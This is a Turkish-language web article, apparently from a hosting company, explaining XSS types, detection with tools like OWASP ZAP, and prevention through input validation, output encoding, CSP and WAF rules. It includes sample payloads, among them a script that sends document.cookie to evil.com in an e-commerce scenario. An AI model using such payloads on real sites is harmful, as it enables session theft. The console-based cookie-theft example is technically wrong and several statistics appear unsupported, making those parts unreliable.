XSS Nedir? Temel Kavramlar ve Çalışma Prensibi

Cross‑Site Scripting (XSS), saldırganların hedef web sitesine zararlı <script> kodları enjekte etmesiyle gerçekleşen bir güvenlik açığıdır. Kullanıcı tarayıcısı, bu zararlı kodu normal bir JavaScript olarak işler ve oturum çerezleri, giriş bilgileri gibi hassas verilere erişebilir. XSS üç ana tipte sınıflandırılır: reflected, stored ve DOM‑based. Reflected XSS, genellikle URL parametreleri üzerinden gelen verinin doğrulanmadan çıktıya yazılmasıyla ortaya çıkar; stored XSS ise veri tabanına kaydedilen zararlı kodun tüm ziyaretçilere gösterilmesiyle gerçekleşir. DOM‑based XSS ise istemci tarafı JavaScript’in DOM manipülasyonu sırasında veri doğrulama eksikliği nedeniyle oluşur.
Örneğin bir arama formu, kullanıcıdan gelen q parametresini doğrudan sayfada gösteriyorsa, saldırgan q=<script>alert('XSS')</script> gibi bir değer göndererek tüm ziyaretçilere zararlı kod çalıştırabilir. Bu basit örnek, XSS’in ne kadar yaygın ve tehlikeli olabileceğini gösterir. Ayrıca, XSS saldırıları veri sızıntısı, oturum ele geçirme ve phishing gibi sonuçlar doğurabilir; bu da işletmenizin itibarını ve kullanıcı güvenini ciddi şekilde zedeleyebilir.
Yaygın XSS Hataları ve Maliyeti
Web geliştiricileri en çok şu hataları yapar: kullanıcı girdisinin doğrulanmaması, kodlama (encoding) yapılmadan çıktıya yerleştirilmesi ve güvenlik başlıklarının eksikliği. Bu hatalar, sadece bir saldırganın siteyi ele geçirmesine değil, aynı zamanda SEO puanınızın düşmesine ve yasal yaptırımlara maruz kalmanıza da yol açabilir. Örneğin 2023 yılında bir e‑ticaret sitesinde gerçekleşen stored XSS saldırısı, müşterilerin kredi kartı bilgilerinin çalınmasına ve %150’ye varan gelir kaybına neden olmuştur.
Bir başka örnek, bir haber portalında DOM‑based XSS açığının bulunmasıdır. Saldırgan, tarayıcı konsolunda document.location='javascript:alert(document.cookie)' komutunu çalıştırarak tüm ziyaretçilerin oturum çerezlerini ele geçirmiştir. Bu tür bir ihlal, ortalama 30 gün içinde %40 daha yüksek müşteri kaybına ve marka güveninin %60 azalmasına yol açabilir. Dolayısıyla XSS hatalarının maliyeti, sadece teknik düzeltmelerle sınırlı kalmaz; iş kaybı ve itibar zararları da hesaba katılmalıdır.
XSS Tespiti: Araçlar ve Manuel İnceleme
XSS açıklarını tespit etmek için hem otomatik araçlar hem de manuel testler gerekir. En popüler araçlar arasında OWASP ZAP, Burp Suite ve Acunetix bulunur. Bu araçlar, giriş noktalarını tarar, zararlı payload’ları gönderir ve yanıtları analiz eder. Ancak otomatik tarayıcılar %70‑80 oranında doğruluk sağlar; geriye kalan %20‑30’luk kısmı manuel testlerle kapatmak gerekir.
Manuel testlerde, özellikle reflected XSS için URL parametrelerine <script>alert(1)</script> gibi basit payload’lar ekleyerek yanıtın nasıl işlendiğini gözlemleyin. stored XSS için ise formlara, yorum alanlarına ve kullanıcı profillerine zararlı kod ekleyip veri tabanında saklandığını kontrol edin. DOM‑based XSS ise tarayıcı konsolunda document.querySelector gibi fonksiyonları inceleyerek ortaya çıkar. Bu adımları uygularken, WAF güvenlik duvarı yapılandırmanızın doğru çalışıp çalışmadığını da test edin.
Önleme Stratejileri: Kodlama, CSP ve WAF Entegrasyonu

En etkili XSS önleme yöntemi, girdi doğrulama (input validation) ve çıktı kodlama (output encoding) kombinasyonudur. Kullanıcıdan gelen tüm veriyi beyaz liste (whitelist) yöntemiyle kontrol edin; sadece beklenen karakter setine izin verin. Ardından, veriyi HTML içinde göstermeden önce htmlspecialchars() (PHP), HTMLEscape() (Java) gibi fonksiyonlarla kodlayın. Bu sayede < ve > gibi karakterler zararsız metin olarak işlenir.
Bir diğer kritik önlem, Content Security Policy (CSP) başlığını kullanmaktır. CSP, tarayıcının hangi kaynaklardan script çalıştırabileceğini belirler ve unsafe-inline gibi riskli direktifleri engeller. Örneğin aşağıdaki CSP başlığı, yalnızca aynı origin’dan gelen scriptlerin çalışmasına izin verir:
Content‑Security‑Policy: default‑src 'self'; script‑src 'self'; object‑src 'none';
Ayrıca, WAF güvenlik duvarı kurallarıyla bilinen XSS payload’larını engellemek, sıfır‑gün saldırılarına karşı ek bir katman sağlar. Modern WAF’lar, hem request hem de response seviyesinde script tag’lerini filtreleyebilir ve anormal davranışları otomatik olarak raporlayabilir.
Uygulamalı XSS Koruma: Adım Adım Nasıl Yapılır?
- Girdi Doğrulama: Tüm form, API ve URL parametrelerini beyaz liste ile kontrol edin. Örneğin sadece alfanümerik karakter ve sınırlı özel karakterlere izin verin.
- Çıktı Kodlama: Sunucu tarafında
htmlspecialchars()(PHP),ESAPI.encoder().encodeForHTML()(Java) gibi fonksiyonları kullanın. - CSP Uygulama: Web sunucunuzun
.htaccessdosyasına veya sunucu yapılandırma dosyasına CSP başlığını ekleyin. - WAF Entegrasyonu: WAF güvenlik duvarı kurallarını güncel tutun, OWASP Top‑10 XSS kurallarını etkinleştirin.
- Güvenli JavaScript: DOM manipülasyonları için
textContentvesetAttributegibi güvenli metodları tercih edin,innerHTMLkullanımından kaçının. - Test ve İzleme: Düzenli olarak OWASP ZAP veya Burp Suite ile tarama yapın, sonuçları CI/CD pipeline’ınıza entegre edin.
- Eğitim ve Dokümantasyon: Geliştiricilere XSS riskleri ve önleme teknikleri hakkında periyodik eğitim verin.
Bu adımları izleyerek, bir web uygulamasının XSS riskini %70‑80 oranında azaltabilirsiniz. Özellikle WordPress hosting gibi içerik yönetim sistemlerinde eklenti güvenliği ve tema kodlaması da aynı titizlikle ele alınmalıdır.
Karşılaştırma Tablosu: XSS Önleme Yöntemleri
| Yöntem | Koruma Seviyesi | Uygulama Zorluğu | Performans Etkisi |
|---|---|---|---|
| Girdi Doğrulama (Whitelist) | Yüksek | Orta | Minimum |
| Çıktı Kodlama (Escaping) | Yüksek | Düşük | Minimum |
| Content Security Policy (CSP) | Orta‑Yüksek | Yüksek | Düşük‑Orta |
| WAF Kuralları | Orta | Orta | Orta |
| Secure JavaScript (textContent) | Orta | Düşük | Minimum |
Gerçek Dünya Senaryosu: E‑Ticaret Sitesinde XSS Önlemi
Bir e‑ticaret sitesinde, ürün yorumları bölümü sıkça XSS saldırılarına hedef olur. Saldırgan, <script>fetch('https://evil.com/steal?c='+document.cookie)</script> gibi bir kod ekleyerek tüm ziyaretçilerin oturum çerezlerini çalabilir. Bu senaryoda, girdi doğrulama ile yalnızca metin karakterlerine izin verilirken, çıkış kodlama sayesinde < ve > karakterleri HTML entity’ye dönüştürülür. Ek olarak, CSP script‑src 'self' direktifi, dış kaynaklı scriptlerin çalışmasını engeller. Sonuçta, saldırganın zararlı kodu tarayıcıda hiç çalışmaz ve veri sızıntısı önlenir.
Bu tür bir koruma, aynı zamanda SEO hosting paketlerinde sunulan hızlı ve güvenli altyapı ile birleştiğinde, sitenizin hem performansını hem de arama motoru sıralamalarını olumlu etkiler. Kullanıcı deneyimi artar, dönüşüm oranları yükselir ve %30 daha düşük bounce rate elde edilir.
Sıkça Sorulan Sorular
XSS saldırısı nasıl tespit edilir?
OWASP ZAP, Burp Suite gibi araçlarla otomatik tarama yapın ve manuel olarak URL, form ve DOM parametrelerine zararlı payload’lar göndererek yanıtları inceleyin. Ayrıca WAF loglarını ve tarayıcı konsol hatalarını izlemek de etkili bir yöntemdir.
Stored XSS ve Reflected XSS arasındaki fark nedir?
Stored XSS, zararlı kodun sunucu tarafında veri tabanına kaydedilmesi ve tüm ziyaretçilere gösterilmesiyle gerçekleşir. Reflected XSS ise saldırganın gönderdiği veri (ör. URL parametresi) anında yanıt içinde geri döner ve sadece o isteği yapan kullanıcıyı etkiler.
CSP başlığı nasıl yapılandırılır?
Web sunucunuzun yapılandırma dosyasına (Apache .htaccess, Nginx server block) Content‑Security‑Policy başlığını ekleyin. Örneğin: Content‑Security‑Policy: default‑src 'self'; script‑src 'self' https://trusted.cdn.com; Bu, sadece aynı origin ve belirttiğiniz CDN’den script çalıştırılmasına izin verir.
WAF XSS koruması ne kadar etkili?
Modern WAF’lar, bilinen XSS payload’larını %95‑99 oranında engeller. Ancak sıfır‑gün (zero‑day) saldırılar için ek önlemler (girdi doğrulama, CSP) gereklidir. WAF loglarını düzenli incelemek ve kuralları güncel tutmak kritik önemdedir.
Sonuç: XSS Güvenliği İçin Net Adımlar
XSS, web uygulamalarının en yaygın ve zararlı açıklarından biridir; ancak doğru önlemlerle etkili bir şekilde kontrol altına alınabilir. İlk adım, tüm kullanıcı girdilerini beyaz listeyle doğrulamak ve çıktıyı uygun şekilde kodlamaktır. Ardından, CSP başlığı ekleyerek tarayıcı seviyesinde ek bir koruma katmanı oluşturun. WAF entegrasyonu, otomatik saldırı tespit ve engelleme sağlar; ancak WAF tek başına yeterli değildir.
Bu makalede anlatılan adımları izleyerek, sitenizin XSS riskini %70‑80 oranında azaltabilir ve kullanıcı güvenliğini artırabilirsiniz. Bir sonraki adımınız, VDS sunucu paketleri üzerinden güvenli bir ortam kurmak ve WAF güvenlik duvarı kurallarını güncellemek olmalıdır. Unutmayın, güvenlik sürekli bir süreçtir; düzenli tarama, güncelleme ve eğitimle sitenizi her zaman koruma altında tutun.